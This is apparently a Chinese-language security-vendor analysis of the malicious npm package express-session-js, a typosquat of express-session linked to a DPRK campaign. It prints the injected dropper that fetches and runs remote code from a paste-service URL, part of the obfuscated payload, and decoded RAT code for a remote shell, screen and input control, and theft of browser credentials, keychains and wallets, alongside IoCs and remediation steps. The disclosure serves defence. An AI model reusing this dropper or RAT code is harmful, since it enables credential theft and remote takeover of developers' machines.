恶意 npm 包 express-session-js 释放完整 RAT 载荷

目录

摘要

[email protected] 是一个恶意的 npm 包,它通过 typosquatting 模仿流行中间件 express-session(每周下载量超过 6000 万次)。该包包含一个 dropper,从粘贴服务获取约 93KB 的混淆有效载荷,并在每次 require() 时使用 Function.constructor 动态执行。Stage-2 有效载荷的静态反混淆揭示了完整的远程访问木马(RAT)和信息窃取器,该木马通过 Socket.IO 连接到 216[.]126[.]237[.]71,具备以下能力:浏览器凭据窃取、加密钱包提取、屏幕截图捕获、剪贴板监控、键盘记录以及远程鼠标/键盘控制。多项指标将该包与 Contagious Interview 活动联系起来,这是一个 DPRK/Lazarus 行动,已发布 338+ 个恶意 npm 包。

影响:​

  • 对被入侵系统的完全远程访问(鼠标、键盘、屏幕截图、剪贴板)
  • 浏览器凭据窃取(Chrome、Brave、Edge、Opera 登录数据、Cookie、Web Data)
  • 加密钱包浏览器扩展数据窃取
  • SSH 密钥、GPG 密钥、npm token 及敏感文件外泄
  • 系统信息收集和文件上传到攻击者基础设施

妥协指标(IoC):​

  • 包:npm 上的 [email protected]
  • C2 URL(dropper):hxxps://jsonkeeper[.]com/b/YY8VI
  • C2 IP(RAT):216[.]126[.]237[.]71
  • C2 端口:4801(socket.io + API)、4806(文件上传)、4809(浏览器数据库同步)
  • 攻击者 UID:a36adbc35e69b22acbf9f834a0deb286
  • PID 文件:~/.npm-compiler/<process.title>
  • 临时目录:~/.npm-cache/__tmp__/
  • 全局安装的 npm 包:socket.io-clientscreenshot-desktopclipboardy@nut-tree-fork/nut-js
  • 维护者:judebelingham <viktoryavorovskiy@ukr[.]net>
  • SHA256(tarball):b5cca27ca1d792bd8c46b83fccfa4e5ba38916eb78877a19cbb39392ce98cc39

分析

包概述

express-session-js 于 2026 年 4 月 1 日 19:58 UTC 由 judebelingham 发布。仅有一个版本:1.19.0。真正的 express-session 目前版本为 1.18.1,由 dougwilsonulisesgascon 维护,因此版本号的选择看起来像是"下一个"版本。

package.json 元数据是从合法项目直接复制的:

json
// package.json (malicious) { "name": "express-session-js", "version": "1.19.0", "description": "Simple session middleware for Express", "author": "TJ Holowaychuk <[email protected]> (http://tjholowaychuk.com)", "repository": "expressjs/session", "license": "MIT" }

authorcontributorsrepositoryhomepagebugs 字段都指向真正的 expressjs/session 项目。这是被盗的元数据,旨在通过粗略的 npm info 检查。实际的 npm 发布者在 judebelingham <viktoryavorovskiy@ukr[.]net> 中可见,仅在 _npmUsermaintainers 字段中显示,这些字段由注册表控制,无法伪造。

搜索该维护者的其他包返回零结果:这是一个为单次攻击创建的临时账户。

执行触发器

恶意代码作为 require('express-session-js') 的副作用执行。未使用安装钩子。入口点是 index.js,这是合法的 [email protected] 源代码的近似逐字副本,仅有两处精确添加。

首先,第 30 行添加了原始版本中不存在的依赖项:

js
// package/index.js, line 30 var req = require('request');

request 模块未在 dependencies 中列出(它将从消费者的依赖树中解析或静默失败)。它仅被恶意有效载荷用于发出 HTTP 请求。

其次,dropper 函数被注入到第 604-621 行,其调用在第 702 行:

js
// package/index.js, lines 604-621 function initPlugin(reqoptions = { headers: { bearrtoken: 'logo' }, url: 'https://jsonkeeper.com/b/YY8VI' }, ret = 1) { const mreq = (atlf) => { req(reqoptions, (e, r, b) => { if (e || r.statusCode !== 200) { if (atlf > 0) { mreq(atlf - 1); } return; } try { const handler = new Function.constructor('require', JSON.parse(b).data); if (handler) handler(require); } catch (err) { if (atlf > 0) { mreq(atlf - 1); } return; } }); }; mreq(ret); }
js
// package/index.js, line 702 initPlugin();

对合法 [email protected]/index.js 和恶意版本之间的差异确认仅有三处更改:require('request') 导入、initPlugin 函数及其调用。该函数被放置在 getcookie()hash() 之间,夹在合法的会话管理代码中,审查者可能会跳过它。

Stage-2 有效载荷:反混淆

位于 hxxps://jsonkeeper[.]com/b/YY8VI 的粘贴服务托管着一个约 93KB 的 JSON blob。Dropper 从解析的响应中提取 .dataJSON.parse(b).data),但粘贴服务返回的实际 JSON 将有效载荷包装在 cookie 下:

json
// Response from hxxps://jsonkeeper[.]com/b/YY8VI { "cookie": "function c(b,d){b=b-(-0xd08+-0x2*0x633+-0x575*-0x5)..." // ~93KB obfuscated JS }

JSON.parse(b).data 通过此结构求值为 undefined,这意味着 RAT 有效载荷在分析时不会通过此特定 dropper 执行。不过,粘贴服务内容是可变的,因此攻击者可以随时将密钥重命名为 data(或在新包版本中更新 dropper)。

原始 stage-2 有效载荷的片段显示了混淆的程度:

js
// Stage-2 payload from hxxps://jsonkeeper[.]com/b/YY8VI (truncated) function c(b,d){b=b-(-0xd08+-0x2*0x633+-0x575*-0x5);var e=a();var f=e[b]; if(c['JUoTLE']===undefined){var g=function(l){var m='abcdefghijklmnopqrstu vwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',o='';for(var p= -0x1dd9+-0x2520+0x42f9,q,r,s=-0x1294+-0x22a+0x14be;r=l['charAt'](s++);~r &&(q=p%(-0x2190+0x1435+0xd5f)?q*(0xa*-0x223+-0x7dc+0x1d7a)+r:r,p++% (0xaab*0x3+-0xde5*-0x2+-0x3bc7))?n+=String['fromCharCode'](0x2258+-0x16b5 +0x1c6*-0x6&q>>(-(0x16fe+-0x7f*-0x1b+0x2461*-0x1)*p&0x254a+-0x1de*-0x3 +-0x2ade)):0x0){r=m['indexOf'](r);}/*...93KB continues...*/

混淆的有效载荷使用标准 JavaScript 混淆器模式,包含:

  • 1,334 个元素的字符串数组,由旋转函数打乱(旋转偏移:369)
  • 两个解码函数:b() 用于 base64 解码(自定义小写优先字母表),c() 用于 base64 + RC4 解密,每次调用使用不同的密钥
  • Webpack 风格的模块打包器,带有两个内部模块

我们通过重新实现自定义 base64 解码器(字母表:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 之前)和 RC4 解密(使用 Python),然后通过针对目标值 804499 求值打乱函数的校验和来暴力破解数组旋转,从而执行了完整的静态反混淆。这使我们能够在不执行任何代码的情况下解码有效载荷中的所有 1,057 个唯一字符串引用。

Stage-2 有效载荷:C2 配置

有效载荷中的模块 0x110 包含一个 JSON 配置对象,解码后为:

json
{ "uid": "a36adbc35e69b22acbf9f834a0deb286", "ukey": 804, "t": 8, "p": 4801, "kp": 4808, "lpt": 4809, "upt": 4806, "a": 216, "b": 126, "c": 237, "d": 71, "e": 216, "f": 126, "g": 237, "h": 71 }

ah 字段是 IP 地址八位组。有效载荷通过用点连接它们来构造 C2 地址:

  • a.b.c.d = 216[.]126[.]237[.]71
  • e.f.g.h = 216[.]126[.]237[.]71(同一地址)

uid 字段是攻击者的活动标识符。端口字段映射到不同的服务:p(4801)用于主 Socket.IO 连接和 API 端点,upt(4806)用于文件上传,kp/lpt(4808/4809)用于额外的数据通道。

模块 0x13d 通过从 dropper 传递的 require 函数加载 child_process,使有效载荷能够访问 execSyncexecspawn

Stage-2 有效载荷:RAT 能力

外部加载器生成 4 个独立的 node -e 子进程,每个都是自包含的模块。它们组合在一起形成一个功能完整的远程访问木马。

远程 Shell 和桌面控制(命令 1)​

RAT 的依赖项(socket.io-clientscreenshot-desktopclipboardy@nut-tree-fork/nut-jssharp)都未打包在恶意包本身中。相反,有效载荷在运行时通过 execSync 在受害者系统上全局安装它们。这使包 tarball 保持较小,并避免静态分析工具标记包内容中可疑的原生模块。

解码的命令 1 字符串数组包含字面安装命令:

plaintext
'npm install -g socket.io-client ' '--save --no-warnings --no-save -' // continues: '--no-progress --loglevel silent' 'Installing socket.io-client' // log message sent to C2 before install

从解码的字符串片段重建,完整安装调用为:

js
// Decoded from command 1 string array execSync( 'npm install -g socket.io-client screenshot-desktop clipboardy ' + '@nut-tree-fork/nut-js --save --no-warnings --no-save ' + '--no-progress --loglevel silent', { windowsHide: true } );

这些标志抑制所有可见输出:--loglevel silent--no-progress 阻止终端输出,windowsHide: true 在 Windows 上阻止控制台窗口。全局安装(-g)确保模块可用于独立于原始包运行的分离子进程。

安装后,模块通过 socket.io-client 连接到 C2。连接使用 Socket.IO 特定选项,在解码代码中可见:

js
// Decoded from command 1 (socket.io connection) io('http://' + C2_IP + ':' + port, { reconnectionAttempts: 0, reconnectionDelay: 2000, // 0x7d0 timeout: 2000000, // 0x1e8480 });

然后它注册 13 个 Socket.IO 事件处理器以实现完全远程控制:

js
// Remote shell execution socket.on('command', (data) => { exec(data.message, { windowsHide: true, maxBuffer: 10 * 1024 * 1024, cwd: os.homedir() }, (err, stdout, stderr) => { socket.emit('result', { ...data, result: stdout, uid, t }); }); }); // Screenshot capture (compressed via sharp) socket.on('screenshot', async ({ quality, sid }) => { let img = await screenshotDesktop({ format: 'png' }); img = await sharp(img).jpeg({ quality, mozjpeg: true }).toBuffer(); socket.emit('screenshotResult', { sid, img: img.toString('base64') }); }); // Mouse control via @nut-tree-fork/nut-js socket.on('mouseMove', async ({ x, y }) => { /* ... */ }); socket.on('mouseClick', async (button) => { /* LEFT/MIDDLE/RIGHT */ }); socket.on('mouseScroll', async ({ direction, amount }) => { /* ... */ }); // Keyboard control socket.on('keyboard', async ({ type, key }) => { /* pressKey/releaseKey */ }); socket.on('keyCombo', async ({ modifiers, key }) => { /* e.g. Ctrl+V */ }); // Clipboard socket.on('getClipboard', async (data) => { /* read and exfiltrate */ }); socket.on('pasteText', async (data) => { /* write + simulate Ctrl+V */ });

位于 ~/.npm-compiler/<process.title> 的 PID 文件确保只有一个实例运行。如果检测到另一个实例,新实例会静默退出。

浏览器凭据窃取(命令 2)​

第二个模块针对 Windows、macOS 和 Linux 上的浏览器数据目录:

  • Chrome:Google/Chrome/User Data.config/google-chrome
  • Brave:BraveSoftware/Brave-Browser/User.config/BraveSoftware/Brave-Browser
  • Edge:Microsoft/Edge/User Data.config/microsoft-edge
  • Opera:operasoftware.Opera
  • LT Browser:LT Browser/User Data.config/lt-browser

从每个浏览器配置文件(DefaultProfile 1 等)中,它提取三个 SQLite 数据库:Login Data(保存的密码)、CookiesWeb Data(自动填充)。在 macOS 上,它还窃取登录 Keychain:

js
// Decoded from command 2 await uploadFile(process.env.HOME + '/Library/Keychains/login.keychain-db');

加密钱包扩展窃取(命令 2)​

同一浏览器窃取模块扫描 Local Extension Settings/ 目录以查找加密钱包扩展 ID:

plaintext
nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask) aholpfdialjgjfhomihkjbmgjidlcdno bfnaelmomeimhlpmgjnjophhpkkoljpa aeachknmefphepccionboohckonoeemg egjidjbpglichdcondbcbdnbeeppgdph ppbibelpcjmhbdihakflkdcoccbgbkpo hifafgmccdpekplomjjkcfgodnhcellj ... (24+ extension IDs total)

它将每个钱包的 LevelDB 存储复制到临时目录(~/.npm-cache/__tmp__/),并通过 FormData 将所有文件上传到 hxxp://216[.]126[.]237[.]71:4809/upload

敏感文件扫描(命令 3)​

第三个模块递归扫描用户主目录中的敏感文件:

  • SSH 密钥:.ssh
  • GPG 密钥:.gnupg
  • npm 凭据:.npmrc.npm
  • 云凭据:.aws
  • 文件模式:*.pem*.key*.secret*.env**.csv*.sqlite*.pdf*.doc*

它跳过常见的非敏感目录(node_modulesdist.gitcache 等),并将匹配的文件(小于 5MB)上传到 C2。

数据外泄

被盗数据通过多个通道发送到 216[.]126[.]237[.]71

  • 端口 4801 上的 Socket.IO:双向命令和控制、shell 结果、屏幕截图
  • 端口 4801 上的 POST /api/service/makelog:操作日志、剪贴板内容
  • 端口 4801 上的 POST /api/service/process/<uid>:系统信息、VM 检测结果
  • 端口 4806 上的 POST /upload:通过 FormData 进行文件外泄
  • 端口 4809 上的 POST /cldbs:浏览器数据库同步查询

在撰写本文时,C2 基础设施仍然活跃。端口 4801 上的 Socket.IO 握手探测返回有效会话:

plaintext
0{"sid":"INqUCe-RszMuKygCACih","upgrades":["websocket"], "pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

端口 4809 响应 Express.js 头,CORS 完全开放:

plaintext
HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: *

只有解码配置中的三个端口(4801、4806、4809)处于开放状态;相邻端口(4802、4803、4805、4810)关闭,确认基础设施与有效载荷配置完全匹配。hxxps://jsonkeeper[.]com/b/YY8VI 处的 dropper 有效载荷也仍然活跃(HTTP 200,93,229 字节)。

规避

VM/沙箱检测在报告给 C2 之前使用平台特定检查:

js
// Decoded from command 1 // Windows: WMI query execSync('powershell -NoProfile -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Model,Manufacturer"'); // macOS: system_profiler execSync('system_profiler SPHardwareDataType'); // Linux: /proc/cpuinfo fs.readFileSync('/proc/cpuinfo', 'utf8'); // All checked against: /vmware|virtualbox|qemu|parallels|kvm|xen|bochs|hypervisor/i

其他规避技术:

  • 错误静默:process.on('uncaughtException', () => {})process.on('unhandledRejection', () => {})
  • 位于 ~/.npm-compiler/ 的 PID 文件以避免运行多个实例
  • 使用 --loglevel silent --no-progress 运行时安装依赖项以抑制输出
  • 作为分离进程生成,参数为 stdio: 'ignore'windowsHide: true

活动归因:Contagious Interview(DPRK/Lazarus)

多项指标将该包与 Contagious Interview 活动联系起来,该活动归因于 Lazarus 子组织(被各供应商跟踪为 Famous Chollima、UNC5342、DeceptiveDevelopment 和 Sapphire Sleet)。

RouterHosting/Cloudzy(AS14956)上的 C2 托管:​ C2 IP 216[.]126[.]237[.]71 托管在 AS14956(RouterHosting LLC,以 Cloudzy 运营)上,FOFA 文档 记录为 Contagious Interview 的首选 VPS 提供商。同一 /16 范围内的其他 IP 已确认为 Lazarus C2 基础设施:216.126.229.166:1224ThreatBook 标记,216.126.227.239Red Asgard 识别为 Contagious Interview FTP 基础设施。

jsonkeeper.com 作为有效载荷主机:​ 使用 JSON 存储服务进行恶意软件传递是已确认的 Contagious Interview TTP。NVISO Labs 记录了 该活动使用的 16+ 个 jsonkeeper.com URL,Microsoft 确认 其报告中的相同模式。

OtterCookie 恶意软件工具包:​ socket.io-client 用于 C2 通信、screenshot-desktop 用于屏幕捕获、sharp 用于图像压缩、clipboardy 用于剪贴板访问的组合匹配记录的 OtterCookie v4/v5 模块集。添加 @nut-tree-fork/nut-js 用于鼠标和键盘控制可能代表了对完整远程桌面交互的能力升级,超出了早期 OtterCookie 版本中记录的键盘记录和屏幕截图功能。

规模:​ 该活动使用 npm 生态系统中的 typosquatting 发布338+ 个恶意 npm 包

红旗摘要

信号详情
单一版本1.19.0,无历史记录
版本抢注真正的 express-session 版本为 1.18.x
被盗元数据authorrepositoryhomepage 都指向 expressjs/session
临时维护者judebelingham 没有其他包
添加的依赖项require('request') 不在原始版本中
动态代码执行使用获取的有效载荷的 Function.constructor
可变 C2粘贴服务 URL 可随时更新
完整 RAT 有效载荷远程控制、凭据窃取、加密钱包窃取、键盘记录
DPRK 归因C2 位于 Lazarus 关联托管、OtterCookie 工具包、jsonkeeper TTP

如果受到影响该怎么办

立即删除该包:

bash
npm remove express-session-js

因为 stage-2 有效载荷是一个具有凭据窃取能力的完整 RAT,任何导入过 express-session-js 的系统都应被视为完全被入侵:

  • 轮换系统上可访问的所有密钥、API 密钥和凭据
  • 撤销并重新生成 SSH 密钥和 GPG 密钥
  • 更改任何保存浏览器凭据的账户密码
  • 检查加密钱包扩展是否有未经授权的交易
  • 审查 npm token 并撤销存储在 .npmrc 中的任何 token
  • 审计系统中的持久化机制(PID 文件、已安装的包如 socket.io-clientscreenshot-desktopclipboardy

SafeDep 如何提供帮助

免费开源工具 vet 与 SafeDep Cloud 的恶意包扫描服务集成,在安装前检测此类威胁。vet-action 作为 GitHub Actions 护栏提供相同的保护。

参考

SafeDep 博客的最新内容

关注以获取开源安全与工程的最新更新和见解